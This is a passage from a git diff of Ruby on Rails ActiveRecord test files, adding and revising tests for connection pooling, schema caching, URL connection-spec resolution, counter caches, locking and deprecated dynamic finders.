+        assert_nil @cache.primary_keys['omgponies']
+      end
+
+      def test_caches_columns
+        columns = @cache.columns['posts']
+        assert_equal columns, @cache.columns['posts']
+      end
+
+      def test_caches_columns_hash
+        columns_hash = @cache.columns_hash['posts']
+        assert_equal columns_hash, @cache.columns_hash['posts']
+      end
+
+      def test_clearing
+        @cache.columns['posts']
+        @cache.columns_hash['posts']
+        @cache.tables['posts']
+        @cache.primary_keys['posts']
+
+        @cache.clear!
+
+        assert_equal 0, @cache.columns.size
+        assert_equal 0, @cache.columns_hash.size
+        assert_equal 0, @cache.tables.size
+        assert_equal 0, @cache.primary_keys.size
+      end
+
+      def test_dump_and_load
+        @cache.columns['posts']
+        @cache.columns_hash['posts']
+        @cache.tables['posts']
+        @cache.primary_keys['posts']
+
+        @cache = Marshal.load(Marshal.dump(@cache))
+
+        assert_equal 12, @cache.columns['posts'].size
+        assert_equal 12, @cache.columns_hash['posts'].size
+        assert @cache.tables['posts']
+        assert_equal 'id', @cache.primary_keys['posts']
+      end
+
+    end
+  end
+end
diff --git a/activerecord/test/cases/connection_management_test.rb b/activerecord/test/cases/connection_management_test.rb
index f554ceef35..fe1b40d884 100644
--- a/activerecord/test/cases/connection_management_test.rb
+++ b/activerecord/test/cases/connection_management_test.rb
@@ -1,4 +1,5 @@
 require "cases/helper"
+require "rack"
 
 module ActiveRecord
   module ConnectionAdapters
@@ -25,38 +26,25 @@ module ActiveRecord
         assert ActiveRecord::Base.connection_handler.active_connections?
       end
 
-      class FakeBase < ActiveRecord::Base
-        def self.establish_connection spec
-          String === spec ? super : spec
-        end
-      end
+      def test_connection_pool_per_pid
+        return skip('must support fork') unless Process.respond_to?(:fork)
 
-      def test_url_host_no_db
-        spec = FakeBase.establish_connection 'postgres://foo?encoding=utf8'
-        assert_equal({
-          :adapter  => "postgresql",
-          :database => "",
-          :host     => "foo",
-          :encoding => "utf8" }, spec)
-      end
+        object_id = ActiveRecord::Base.connection.object_id
 
-      def test_url_host_db
-        spec = FakeBase.establish_connection 'postgres://foo/bar?encoding=utf8'
-        assert_equal({
-          :adapter  => "postgresql",
-          :database => "bar",
-          :host     => "foo",
-          :encoding => "utf8" }, spec)
-      end
+        rd, wr = IO.pipe
+
+        pid = fork {
+          rd.close
+          wr.write Marshal.dump ActiveRecord::Base.connection.object_id
+          wr.close
+          exit!
+        }
+
+        wr.close
 
-      def test_url_port
-        spec = FakeBase.establish_connection 'postgres://foo:123?encoding=utf8'
-        assert_equal({
-          :adapter  => "postgresql",
-          :database => "",
-          :port     => 123,
-          :host     => "foo",
-          :encoding => "utf8" }, spec)
+        Process.waitpid pid
+        assert_not_equal object_id, Marshal.load(rd.read)
+        rd.close
       end
 
       def test_app_delegation
@@ -114,9 +102,10 @@ module ActiveRecord
 
       test "proxy is polite to it's body and responds to it" do
         body = Class.new(String) { def to_path; "/path"; end }.new
-        proxy = ConnectionManagement::Proxy.new(body)
-        assert proxy.respond_to?(:to_path)
-        assert_equal proxy.to_path, "/path"
+        app = lambda { |_| [200, {}, body] }
+        response_body = ConnectionManagement.new(app).call(@env)[2]
+        assert response_body.respond_to?(:to_path)
+        assert_equal response_body.to_path, "/path"
       end
     end
   end
diff --git a/activerecord/test/cases/connection_pool_test.rb b/activerecord/test/cases/connection_pool_test.rb
index 8a0f453127..8287b35aaf 100644
--- a/activerecord/test/cases/connection_pool_test.rb
+++ b/activerecord/test/cases/connection_pool_test.rb
@@ -3,7 +3,11 @@ require "cases/helper"
 module ActiveRecord
   module ConnectionAdapters
     class ConnectionPoolTest < ActiveRecord::TestCase
+      attr_reader :pool
+
       def setup
+        super
+
         # Keep a duplicate pool so we do not bother others
         @pool = ConnectionPool.new ActiveRecord::Base.connection_pool.spec
 
@@ -18,73 +22,161 @@ module ActiveRecord
         end
       end
 
-      def test_active_connection?
-        assert !@pool.active_connection?
-        assert @pool.connection
-        assert @pool.active_connection?
-        @pool.release_connection
-        assert !@pool.active_connection?
+      def teardown
+        super
+        @pool.disconnect!
       end
 
-      def test_pool_caches_columns
-        columns = @pool.columns['posts']
-        assert_equal columns, @pool.columns['posts']
+      def active_connections(pool)
+        pool.connections.find_all(&:in_use?)
       end
 
-      def test_pool_caches_columns_hash
-        columns_hash = @pool.columns_hash['posts']
-        assert_equal columns_hash, @pool.columns_hash['posts']
+      def test_checkout_after_close
+        connection = pool.connection
+        assert connection.in_use?
+
+        connection.close
+        assert !connection.in_use?
+
+        assert pool.connection.in_use?
       end
 
-      def test_clearing_column_cache
-        @pool.columns['posts']
-        @pool.columns_hash['posts']
+      def test_released_connection_moves_between_threads
+        thread_conn = nil
 
-        @pool.clear_cache!
+        Thread.new {
+          pool.with_connection do |conn|
+            thread_conn = conn
+          end
+        }.join
 
-        assert_equal 0, @pool.columns.size
-        assert_equal 0, @pool.columns_hash.size
-      end
+        assert thread_conn
 
-      def test_primary_key
-        assert_equal 'id', @pool.primary_keys['posts']
+        Thread.new {
+          pool.with_connection do |conn|
+            assert_equal thread_conn, conn
+          end
+        }.join
       end
 
-      def test_primary_key_for_non_existent_table
-        assert_equal 'id', @pool.primary_keys['omgponies']
+      def test_with_connection
+        assert_equal 0, active_connections(pool).size
+
+        main_thread = pool.connection
+        assert_equal 1, active_connections(pool).size
+
+        Thread.new {
+          pool.with_connection do |conn|
+            assert conn
+            assert_equal 2, active_connections(pool).size
+          end
+          assert_equal 1, active_connections(pool).size
+        }.join
+
+        main_thread.close
+        assert_equal 0, active_connections(pool).size
       end
 
-      def test_primary_key_is_set_on_columns
-        posts_columns = @pool.columns_hash['posts']
-        assert posts_columns['id'].primary
+      def test_active_connection_in_use
+        assert !pool.active_connection?
+        main_thread = pool.connection
+
+        assert pool.active_connection?
 
-        (posts_columns.keys - ['id']).each do |key|
-          assert !posts_columns[key].primary
+        main_thread.close
+
+        assert !pool.active_connection?
+      end
+
+      def test_full_pool_exception
+        assert_raises(PoolFullError) do
+          (@pool.size + 1).times do
+            @pool.checkout
+          end
         end
       end
 
-      def test_clear_stale_cached_connections!
-        pool = ConnectionPool.new ActiveRecord::Base.connection_pool.spec
+      def test_full_pool_blocks
+        cs = @pool.size.times.map { @pool.checkout }
+        t = Thread.new { @pool.checkout }
 
-        threads = [
-          Thread.new { pool.connection },
-          Thread.new { pool.connection }]
+        # make sure our thread is in the timeout section
+        Thread.pass until t.status == "sleep"
 
-        threads.map { |t| t.join }
+        connection = cs.first
+        connection.close
+        assert_equal connection, t.join.value
+      end
 
-        pool.extend Module.new {
-          attr_accessor :checkins
-          def checkin conn
-            @checkins << conn
-            conn.object_id
-          end
-        }
-        pool.checkins = []
+      def test_removing_releases_latch
+        cs = @pool.size.times.map { @pool.checkout }
+        t = Thread.new { @pool.checkout }
+
+        # make sure our thread is in the timeout section
+        Thread.pass until t.status == "sleep"
+
+        connection = cs.first
+        @pool.remove connection
+        assert_respond_to t.join.value, :execute
+      end
+
+      def test_reap_and_active
+        @pool.checkout
+        @pool.checkout
+        @pool.checkout
+        @pool.dead_connection_timeout = 0
+
+        connections = @pool.connections.dup
+
+        @pool.reap
+
+        assert_equal connections.length, @pool.connections.length
+      end
+
+      def test_reap_inactive
+        @pool.checkout
+        @pool.checkout
+        @pool.checkout
+        @pool.dead_connection_timeout = 0
+
+        connections = @pool.connections.dup
+        connections.each do |conn|
+          conn.extend(Module.new { def active?; false; end; })
+        end
+
+        @pool.reap
 
-        cleared_threads = pool.clear_stale_cached_connections!
-        assert((cleared_threads - threads.map { |x| x.object_id }).empty?,
-               "threads should have been removed")
-        assert_equal pool.checkins.length, threads.length
+        assert_equal 0, @pool.connections.length
+      ensure
+        connections.each(&:close)
+      end
+
+      def test_remove_connection
+        conn = @pool.checkout
+        assert conn.in_use?
+
+        length = @pool.connections.length
+        @pool.remove conn
+        assert conn.in_use?
+        assert_equal(length - 1, @pool.connections.length)
+      ensure
+        conn.close
+      end
+
+      def test_remove_connection_for_thread
+        conn = @pool.connection
+        @pool.remove conn
+        assert_not_equal(conn, @pool.connection)
+      ensure
+        conn.close if conn
+      end
+
+      def test_active_connection?
+        assert !@pool.active_connection?
+        assert @pool.connection
+        assert @pool.active_connection?
+        @pool.release_connection
+        assert !@pool.active_connection?
       end
 
       def test_checkout_behaviour
@@ -96,24 +188,120 @@ module ActiveRecord
           threads << Thread.new(i) do |pool_count|
             connection = pool.connection
             assert_not_nil connection
+            connection.close
           end
         end
 
-        threads.each {|t| t.join}
+        threads.each(&:join)
 
         Thread.new do
-          threads.each do |t|
-            thread_ids = pool.instance_variable_get(:@reserved_connections).keys
-            assert thread_ids.include?(t.object_id)
-          end
+          assert pool.connection
+          pool.connection.close
+        end.join
+      end
 
-          pool.connection
-          threads.each do |t|
-            thread_ids = pool.instance_variable_get(:@reserved_connections).keys
-            assert !thread_ids.include?(t.object_id)
+      # The connection pool is "fair" if threads waiting for
+      # connections receive them the order in which they began
+      # waiting.  This ensures that we don't timeout one HTTP request
+      # even while well under capacity in a multi-threaded environment
+      # such as a Java servlet container.
+      #
+      # We don't need strict fairness: if two connections become
+      # available at the same time, it's fine of two threads that were
+      # waiting acquire the connections out of order.
+      #
+      # Thus this test prepares waiting threads and then trickles in
+      # available connections slowly, ensuring the wakeup order is
+      # correct in this case.
+      def test_checkout_fairness
+        @pool.instance_variable_set(:@size, 10)
+        expected = (1..@pool.size).to_a.freeze
+        # check out all connections so our threads start out waiting
+        conns = expected.map { @pool.checkout }
+        mutex = Mutex.new
+        order = []
+        errors = []
+
+        threads = expected.map do |i|
+          t = Thread.new {
+            begin
+              @pool.checkout # never checked back in
+              mutex.synchronize { order << i }
+            rescue => e
+              mutex.synchronize { errors << e }
+            end
+          }
+          Thread.pass until t.status == "sleep"
+          t
+        end
+
+        # this should wake up the waiting threads one by one in order
+        conns.each { |conn| @pool.checkin(conn); sleep 0.1 }
+
+        threads.each(&:join)
+
+        raise errors.first if errors.any?
+
+        assert_equal(expected, order)
+      end
+
+      # As mentioned in #test_checkout_fairness, we don't care about
+      # strict fairness.  This test creates two groups of threads:
+      # group1 whose members all start waiting before any thread in
+      # group2.  Enough connections are checked in to wakeup all
+      # group1 threads, and the fact that only group1 and no group2
+      # threads acquired a connection is enforced.
+      def test_checkout_fairness_by_group
+        @pool.instance_variable_set(:@size, 10)
+        # take all the connections
+        conns = (1..10).map { @pool.checkout }
+        mutex = Mutex.new
+        successes = []    # threads that successfully got a connection
+        errors = []
+
+        make_thread = proc do |i|
+          t = Thread.new {
+            begin
+              @pool.checkout # never checked back in
+              mutex.synchronize { successes << i }
+            rescue => e
+              mutex.synchronize { errors << e }
+            end
+          }
+          Thread.pass until t.status == "sleep"
+          t
+        end
+
+        # all group1 threads start waiting before any in group2
+        group1 = (1..5).map(&make_thread)
+        group2 = (6..10).map(&make_thread)
+
+        # checkin n connections back to the pool
+        checkin = proc do |n|
+          n.times do
+            c = conns.pop
+            @pool.checkin(c)
           end
-        end.join()
+        end
+
+        checkin.call(group1.size)         # should wake up all group1
+
+        loop do
+          sleep 0.1
+          break if mutex.synchronize { (successes.size + errors.size) == group1.size }
+        end
 
+        winners = mutex.synchronize { successes.dup }
+        checkin.call(group2.size)         # should wake up everyone remaining
+
+        group1.each(&:join)
+        group2.each(&:join)
+
+        assert_equal((1..group1.size).to_a, winners.sort)
+
+        if errors.any?
+          raise errors.first
+        end
       end
 
       def test_automatic_reconnect=
diff --git a/activerecord/test/cases/connection_specification/resolver_test.rb b/activerecord/test/cases/connection_specification/resolver_test.rb
new file mode 100644
index 0000000000..673a2b2b88
--- /dev/null
+++ b/activerecord/test/cases/connection_specification/resolver_test.rb
@@ -0,0 +1,44 @@
+require "cases/helper"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class ConnectionSpecification
+      class ResolverTest < ActiveRecord::TestCase
+        def resolve(spec)
+          Resolver.new(spec, {}).spec.config
+        end
+
+        def test_url_host_no_db
+          skip "only if mysql is available" unless defined?(MysqlAdapter)
+          spec = resolve 'mysql://foo?encoding=utf8'
+          assert_equal({
+            :adapter  => "mysql",
+            :database => "",
+            :host     => "foo",
+            :encoding => "utf8" }, spec)
+        end
+
+        def test_url_host_db
+          skip "only if mysql is available" unless defined?(MysqlAdapter)
+          spec = resolve 'mysql://foo/bar?encoding=utf8'
+          assert_equal({
+            :adapter  => "mysql",
+            :database => "bar",
+            :host     => "foo",
+            :encoding => "utf8" }, spec)
+        end
+
+        def test_url_port
+          skip "only if mysql is available" unless defined?(MysqlAdapter)
+          spec = resolve 'mysql://foo:123?encoding=utf8'
+          assert_equal({
+            :adapter  => "mysql",
+            :database => "",
+            :port     => 123,
+            :host     => "foo",
+            :encoding => "utf8" }, spec)
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/counter_cache_test.rb b/activerecord/test/cases/counter_cache_test.rb
index 3ed96a3ec8..ee443741ca 100644
--- a/activerecord/test/cases/counter_cache_test.rb
+++ b/activerecord/test/cases/counter_cache_test.rb
@@ -6,9 +6,13 @@ require 'models/engine'
 require 'models/reply'
 require 'models/category'
 require 'models/categorization'
+require 'models/dog'
+require 'models/dog_lover'
+require 'models/person'
+require 'models/friendship'
 
 class CounterCacheTest < ActiveRecord::TestCase
-  fixtures :topics, :categories, :categorizations, :cars
+  fixtures :topics, :categories, :categorizations, :cars, :dogs, :dog_lovers, :people, :friendships
 
   class ::SpecialTopic < ::Topic
     has_many :special_replies, :foreign_key => 'parent_id'
@@ -61,7 +65,7 @@ class CounterCacheTest < ActiveRecord::TestCase
     end
   end
 
-  test "reset counter should with belongs_to which has class_name" do
+  test "reset counter with belongs_to which has class_name" do
     car = cars(:honda)
     assert_nothing_raised do
       Car.reset_counters(car.id, :engines)
@@ -71,6 +75,20 @@ class CounterCacheTest < ActiveRecord::TestCase
     end
   end
 
+  test "reset the right counter if two have the same class_name" do
+    david = dog_lovers(:david)
+
+    DogLover.increment_counter(:bred_dogs_count, david.id)
+    DogLover.increment_counter(:trained_dogs_count, david.id)
+
+    assert_difference 'david.reload.bred_dogs_count', -1 do
+      DogLover.reset_counters(david.id, :bred_dogs)
+    end
+    assert_difference 'david.reload.trained_dogs_count', -1 do
+      DogLover.reset_counters(david.id, :trained_dogs)
+    end
+  end
+
   test "update counter with initial null value" do
     category = categories(:general)
     assert_equal 2, category.categorizations.count
@@ -93,4 +111,11 @@ class CounterCacheTest < ActiveRecord::TestCase
       Topic.update_counters([t1.id, t2.id], :replies_count => 2)
     end
   end
+
+  test "reset the right counter if two have the same foreign key" do
+    michael = people(:michael)
+    assert_nothing_raised(ActiveRecord::StatementInvalid) do
+      Person.reset_counters(michael.id, :followers)
+    end
+  end
 end
diff --git a/activerecord/test/cases/custom_locking_test.rb b/activerecord/test/cases/custom_locking_test.rb
index d63ecdbcc5..e8290297e3 100644
--- a/activerecord/test/cases/custom_locking_test.rb
+++ b/activerecord/test/cases/custom_locking_test.rb
@@ -9,7 +9,7 @@ module ActiveRecord
       if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
         assert_match 'SHARE MODE', Person.lock('LOCK IN SHARE MODE').to_sql
         assert_sql(/LOCK IN SHARE MODE/) do
-          Person.find(1, :lock => 'LOCK IN SHARE MODE')
+          Person.all.merge!(:lock => 'LOCK IN SHARE MODE').find(1)
         end
       end
     end
diff --git a/activerecord/test/cases/defaults_test.rb b/activerecord/test/cases/defaults_test.rb
index b3a281d960..deaf5252db 100644
--- a/activerecord/test/cases/defaults_test.rb
+++ b/activerecord/test/cases/defaults_test.rb
@@ -1,5 +1,4 @@
 require "cases/helper"
-require 'active_support/core_ext/object/inclusion'
 require 'models/default'
 require 'models/entrant'
 
@@ -95,7 +94,7 @@ if current_adapter?(:MysqlAdapter) or current_adapter?(:Mysql2Adapter)
       assert_equal 0, klass.columns_hash['zero'].default
       assert !klass.columns_hash['zero'].null
       # 0 in MySQL 4, nil in 5.
-      assert klass.columns_hash['omit'].default.in?([0, nil])
+      assert [0, nil].include?(klass.columns_hash['omit'].default)
       assert !klass.columns_hash['omit'].null
 
       assert_raise(ActiveRecord::StatementInvalid) { klass.create! }
diff --git a/activerecord/test/cases/deprecated_dynamic_methods_test.rb b/activerecord/test/cases/deprecated_dynamic_methods_test.rb
new file mode 100644
index 0000000000..392f5f4cd5
--- /dev/null
+++ b/activerecord/test/cases/deprecated_dynamic_methods_test.rb
@@ -0,0 +1,608 @@
+# This file should be deleted when activerecord-deprecated_finders is removed as
+# a dependency.
+#
+# It is kept for now as there is some fairly nuanced behaviour in the dynamic
+# finders so it is useful to keep this around to guard against regressions if
+# we need to change the code.
+
+require 'cases/helper'
+require 'models/topic'
+require 'models/reply'
+require 'models/customer'
+require 'models/post'
+require 'models/company'
+require 'models/author'
+require 'models/category'
+require 'models/comment'
+require 'models/person'
+require 'models/reader'
+
+class DeprecatedDynamicMethodsTest < ActiveRecord::TestCase
+  fixtures :topics, :customers, :companies, :accounts, :posts, :categories, :categories_posts, :authors, :people, :comments, :readers
+
+  def setup
+    @deprecation_behavior = ActiveSupport::Deprecation.behavior
+    ActiveSupport::Deprecation.behavior = :silence
+  end
+
+  def teardown
+    ActiveSupport::Deprecation.behavior = @deprecation_behavior
+  end
+
+  def test_find_all_by_one_attribute
+    topics = Topic.find_all_by_content("Have a nice day")
+    assert_equal 2, topics.size
+    assert topics.include?(topics(:first))
+
+    assert_equal [], Topic.find_all_by_title("The First Topic!!")
+  end
+
+  def test_find_all_by_one_attribute_which_is_a_symbol
+    topics = Topic.find_all_by_content("Have a nice day".to_sym)
+    assert_equal 2, topics.size
+    assert topics.include?(topics(:first))
+
+    assert_equal [], Topic.find_all_by_title("The First Topic!!")
+  end
+
+  def test_find_all_by_one_attribute_that_is_an_aggregate
+    balance = customers(:david).balance
+    assert_kind_of Money, balance
+    found_customers = Customer.find_all_by_balance(balance)
+    assert_equal 1, found_customers.size
+    assert_equal customers(:david), found_customers.first
+  end
+
+  def test_find_all_by_two_attributes_that_are_both_aggregates
+    balance = customers(:david).balance
+    address = customers(:david).address
+    assert_kind_of Money, balance
+    assert_kind_of Address, address
+    found_customers = Customer.find_all_by_balance_and_address(balance, address)
+    assert_equal 1, found_customers.size
+    assert_equal customers(:david), found_customers.first
+  end
+
+  def test_find_all_by_two_attributes_with_one_being_an_aggregate
+    balance = customers(:david).balance
+    assert_kind_of Money, balance
+    found_customers = Customer.find_all_by_balance_and_name(balance, customers(:david).name)
+    assert_equal 1, found_customers.size
+    assert_equal customers(:david), found_customers.first
+  end
+
+  def test_find_all_by_one_attribute_with_options
+    topics = Topic.find_all_by_content("Have a nice day", :order => "id DESC")
+    assert_equal topics(:first), topics.last
+
+    topics = Topic.find_all_by_content("Have a nice day", :order => "id")
+    assert_equal topics(:first), topics.first
+  end
+
+  def test_find_all_by_array_attribute
+    assert_equal 2, Topic.find_all_by_title(["The First Topic", "The Second Topic of the day"]).size
+  end
+
+  def test_find_all_by_boolean_attribute
+    topics = Topic.find_all_by_approved(false)
+    assert_equal 1, topics.size
+    assert topics.include?(topics(:first))
+
+    topics = Topic.find_all_by_approved(true)
+    assert_equal 3, topics.size
+    assert topics.include?(topics(:second))
+  end
+
+  def test_find_all_by_nil_and_not_nil_attributes
+    topics = Topic.find_all_by_last_read_and_author_name nil, "Mary"
+    assert_equal 1, topics.size
+    assert_equal "Mary", topics[0].author_name
+  end
+
+  def test_find_or_create_from_one_attribute
+    number_of_companies = Company.count
+    sig38 = Company.find_or_create_by_name("38signals")
+    assert_equal number_of_companies + 1, Company.count
+    assert_equal sig38, Company.find_or_create_by_name("38signals")
+    assert sig38.persisted?
+  end
+
+  def test_find_or_create_from_two_attributes
+    number_of_topics = Topic.count
+    another = Topic.find_or_create_by_title_and_author_name("Another topic","John")
+    assert_equal number_of_topics + 1, Topic.count
+    assert_equal another, Topic.find_or_create_by_title_and_author_name("Another topic", "John")
+    assert another.persisted?
+  end
+
+  def test_find_or_create_from_one_attribute_bang
+    number_of_companies = Company.count
+    assert_raises(ActiveRecord::RecordInvalid) { Company.find_or_create_by_name!("") }
+    assert_equal number_of_companies, Company.count
+    sig38 = Company.find_or_create_by_name!("38signals")
+    assert_equal number_of_companies + 1, Company.count
+    assert_equal sig38, Company.find_or_create_by_name!("38signals")
+    assert sig38.persisted?
+  end
+
+  def test_find_or_create_from_two_attributes_bang
+    number_of_companies = Company.count
+    assert_raises(ActiveRecord::RecordInvalid) { Company.find_or_create_by_name_and_firm_id!("", 17) }
+    assert_equal number_of_companies, Company.count
+    sig38 = Company.find_or_create_by_name_and_firm_id!("38signals", 17)
+    assert_equal number_of_companies + 1, Company.count
+    assert_equal sig38, Company.find_or_create_by_name_and_firm_id!("38signals", 17)
+    assert sig38.persisted?
+    assert_equal "38signals", sig38.name
+    assert_equal 17, sig38.firm_id
+  end
+
+  def test_find_or_create_from_two_attributes_with_one_being_an_aggregate
+    number_of_customers = Customer.count
+    created_customer = Customer.find_or_create_by_balance_and_name(Money.new(123), "Elizabeth")
+    assert_equal number_of_customers + 1, Customer.count
+    assert_equal created_customer, Customer.find_or_create_by_balance(Money.new(123), "Elizabeth")
+    assert created_customer.persisted?
+  end
+
+  def test_find_or_create_from_one_attribute_and_hash
+    number_of_companies = Company.count
+    sig38 = Company.find_or_create_by_name({:name => "38signals", :firm_id => 17, :client_of => 23})
+    assert_equal number_of_companies + 1, Company.count
+    assert_equal sig38, Company.find_or_create_by_name({:name => "38signals", :firm_id => 17, :client_of => 23})
+    assert sig38.persisted?
+    assert_equal "38signals", sig38.name
+    assert_equal 17, sig38.firm_id
+    assert_equal 23, sig38.client_of
+  end
+
+  def test_find_or_create_from_two_attributes_and_hash
+    number_of_companies = Company.count
+    sig38 = Company.find_or_create_by_name_and_firm_id({:name => "38signals", :firm_id => 17, :client_of => 23})
+    assert_equal number_of_companies + 1, Company.count
+    assert_equal sig38, Company.find_or_create_by_name_and_firm_id({:name => "38signals", :firm_id => 17, :client_of => 23})
+    assert sig38.persisted?
+    assert_equal "38signals", sig38.name
+    assert_equal 17, sig38.firm_id
+    assert_equal 23, sig38.client_of
+  end
+
+  def test_find_or_create_from_one_aggregate_attribute
+    number_of_customers = Customer.count
+    created_customer = Customer.find_or_create_by_balance(Money.new(123))
+    assert_equal number_of_customers + 1, Customer.count
+    assert_equal created_customer, Customer.find_or_create_by_balance(Money.new(123))
+    assert created_customer.persisted?
+  end
+
+  def test_find_or_create_from_one_aggregate_attribute_and_hash
+    number_of_customers = Customer.count
+    balance = Money.new(123)
+    name = "Elizabeth"
+    created_customer = Customer.find_or_create_by_balance({:balance => balance, :name => name})
+    assert_equal number_of_customers + 1, Customer.count
+    assert_equal created_customer, Customer.find_or_create_by_balance({:balance => balance, :name => name})
+    assert created_customer.persisted?
+    assert_equal balance, created_customer.balance
+    assert_equal name, created_customer.name
+  end
+
+  def test_find_or_initialize_from_one_attribute
+    sig38 = Company.find_or_initialize_by_name("38signals")
+    assert_equal "38signals", sig38.name
+    assert !sig38.persisted?
+  end
+
+  def test_find_or_initialize_from_one_aggregate_attribute
+    new_customer = Customer.find_or_initialize_by_balance(Money.new(123))
+    assert_equal 123, new_customer.balance.amount
+    assert !new_customer.persisted?
+  end
+
+  def test_find_or_initialize_from_one_attribute_should_not_set_attribute_even_when_protected
+    c = Company.find_or_initialize_by_name({:name => "Fortune 1000", :rating => 1000})
+    assert_equal "Fortune 1000", c.name
+    assert_not_equal 1000, c.rating
+    assert c.valid?
+    assert !c.persisted?
+  end
+
+  def test_find_or_create_from_one_attribute_should_not_set_attribute_even_when_protected
+    c = Company.find_or_create_by_name({:name => "Fortune 1000", :rating => 1000})
+    assert_equal "Fortune 1000", c.name
+    assert_not_equal 1000, c.rating
+    assert c.valid?
+    assert c.persisted?
+  end
+
+  def test_find_or_initialize_from_one_attribute_should_set_attribute_even_when_protected
+    c = Company.find_or_initialize_by_name_and_rating("Fortune 1000", 1000)
+    assert_equal "Fortune 1000", c.name
+    assert_equal 1000, c.rating
+    assert c.valid?
+    assert !c.persisted?
+  end
+
+  def test_find_or_create_from_one_attribute_should_set_attribute_even_when_protected
+    c = Company.find_or_create_by_name_and_rating("Fortune 1000", 1000)
+    assert_equal "Fortune 1000", c.name
+    assert_equal 1000, c.rating
+    assert c.valid?
+    assert c.persisted?
+  end
+
+  def test_find_or_initialize_from_one_attribute_should_set_attribute_even_when_protected_and_also_set_the_hash
+    c = Company.find_or_initialize_by_rating(1000, {:name => "Fortune 1000"})
+    assert_equal "Fortune 1000", c.name
+    assert_equal 1000, c.rating
+    assert c.valid?
+    assert !c.persisted?
+  end
+
+  def test_find_or_create_from_one_attribute_should_set_attribute_even_when_protected_and_also_set_the_hash
+    c = Company.find_or_create_by_rating(1000, {:name => "Fortune 1000"})
+    assert_equal "Fortune 1000", c.name
+    assert_equal 1000, c.rating
+    assert c.valid?
+    assert c.persisted?
+  end
+
+  def test_find_or_initialize_should_set_protected_attributes_if_given_as_block
+    c = Company.find_or_initialize_by_name(:name => "Fortune 1000") { |f| f.rating = 1000 }
+    assert_equal "Fortune 1000", c.name
+    assert_equal 1000.to_f, c.rating.to_f
+    assert c.valid?
+    assert !c.persisted?
+  end
+
+  def test_find_or_create_should_set_protected_attributes_if_given_as_block
+    c = Company.find_or_create_by_name(:name => "Fortune 1000") { |f| f.rating = 1000 }
+    assert_equal "Fortune 1000", c.name
+    assert_equal 1000.to_f, c.rating.to_f
+    assert c.valid?
+    assert c.persisted?
+  end
+
+  def test_find_or_create_should_work_with_block_on_first_call
+	  class << Company
+		undef_method(:find_or_create_by_name) if method_defined?(:find_or_create_by_name)
+	  end
+    c = Company.find_or_create_by_name(:name => "Fortune 1000") { |f| f.rating = 1000 }
+    assert_equal "Fortune 1000", c.name
+    assert_equal 1000.to_f, c.rating.to_f
+    assert c.valid?
+    assert c.persisted?
+  end
+
+  def test_find_or_initialize_from_two_attributes
+    another = Topic.find_or_initialize_by_title_and_author_name("Another topic","John")
+    assert_equal "Another topic", another.title
+    assert_equal "John", another.author_name
+    assert !another.persisted?
+  end
+
+  def test_find_or_initialize_from_two_attributes_but_passing_only_one
+    assert_raise(ArgumentError) { Topic.find_or_initialize_by_title_and_author_name("Another topic") }
+  end
+
+  def test_find_or_initialize_from_one_aggregate_attribute_and_one_not
+    new_customer = Customer.find_or_initialize_by_balance_and_name(Money.new(123), "Elizabeth")
+    assert_equal 123, new_customer.balance.amount
+    assert_equal "Elizabeth", new_customer.name
+    assert !new_customer.persisted?
+  end
+
+  def test_find_or_initialize_from_one_attribute_and_hash
+    sig38 = Company.find_or_initialize_by_name({:name => "38signals", :firm_id => 17, :client_of => 23})
+    assert_equal "38signals", sig38.name
+    assert_equal 17, sig38.firm_id
+    assert_equal 23, sig38.client_of
+    assert !sig38.persisted?
+  end
+
+  def test_find_or_initialize_from_one_aggregate_attribute_and_hash
+    balance = Money.new(123)
+    name = "Elizabeth"
+    new_customer = Customer.find_or_initialize_by_balance({:balance => balance, :name => name})
+    assert_equal balance, new_customer.balance
+    assert_equal name, new_customer.name
+    assert !new_customer.persisted?
+  end
+
+  def test_find_last_by_one_attribute
+    assert_equal Topic.last, Topic.find_last_by_title(Topic.last.title)
+    assert_nil Topic.find_last_by_title("A title with no matches")
+  end
+
+  def test_find_last_by_invalid_method_syntax
+    assert_raise(NoMethodError) { Topic.fail_to_find_last_by_title("The First Topic") }
+    assert_raise(NoMethodError) { Topic.find_last_by_title?("The First Topic") }
+  end
+
+  def test_find_last_by_one_attribute_with_several_options
+    assert_equal accounts(:signals37), Account.order('id DESC').where('id != ?', 3).find_last_by_credit_limit(50)
+  end
+
+  def test_find_last_by_one_missing_attribute
+    assert_raise(NoMethodError) { Topic.find_last_by_undertitle("The Last Topic!") }
+  end
+
+  def test_find_last_by_two_attributes
+    topic = Topic.last
+    assert_equal topic, Topic.find_last_by_title_and_author_name(topic.title, topic.author_name)
+    assert_nil Topic.find_last_by_title_and_author_name(topic.title, "Anonymous")
+  end
+
+  def test_find_last_with_limit_gives_same_result_when_loaded_and_unloaded
+    scope = Topic.limit(2)
+    unloaded_last = scope.last
+    loaded_last = scope.to_a.last
+    assert_equal loaded_last, unloaded_last
+  end
+
+  def test_find_last_with_limit_and_offset_gives_same_result_when_loaded_and_unloaded
+    scope = Topic.offset(2).limit(2)
+    unloaded_last = scope.last
+    loaded_last = scope.to_a.last
+    assert_equal loaded_last, unloaded_last
+  end
+
+  def test_find_last_with_offset_gives_same_result_when_loaded_and_unloaded
+    scope = Topic.offset(3)
+    unloaded_last = scope.last
+    loaded_last = scope.to_a.last
+    assert_equal loaded_last, unloaded_last
+  end
+
+  def test_find_all_by_nil_attribute
+    topics = Topic.find_all_by_last_read nil
+    assert_equal 3, topics.size
+    assert topics.collect(&:last_read).all?(&:nil?)
+  end
+
+  def test_forwarding_to_dynamic_finders
+    welcome = Post.find(1)
+    assert_equal 4, Category.find_all_by_type('SpecialCategory').size
+    assert_equal 0, welcome.categories.find_all_by_type('SpecialCategory').size
+    assert_equal 2, welcome.categories.find_all_by_type('Category').size
+  end
+
+  def test_dynamic_find_all_should_respect_association_order
+    assert_equal [companies(:second_client), companies(:first_client)], companies(:first_firm).clients_sorted_desc.where("type = 'Client'").to_a
+    assert_equal [companies(:second_client), companies(:first_client)], companies(:first_firm).clients_sorted_desc.find_all_by_type('Client')
+  end
+
+  def test_dynamic_find_all_should_respect_association_limit
+    assert_equal 1, companies(:first_firm).limited_clients.where("type = 'Client'").to_a.length
+    assert_equal 1, companies(:first_firm).limited_clients.find_all_by_type('Client').length
+  end
+
+  def test_dynamic_find_all_limit_should_override_association_limit
+    assert_equal 2, companies(:first_firm).limited_clients.where("type = 'Client'").limit(9_000).to_a.length
+    assert_equal 2, companies(:first_firm).limited_clients.find_all_by_type('Client', :limit => 9_000).length
+  end
+
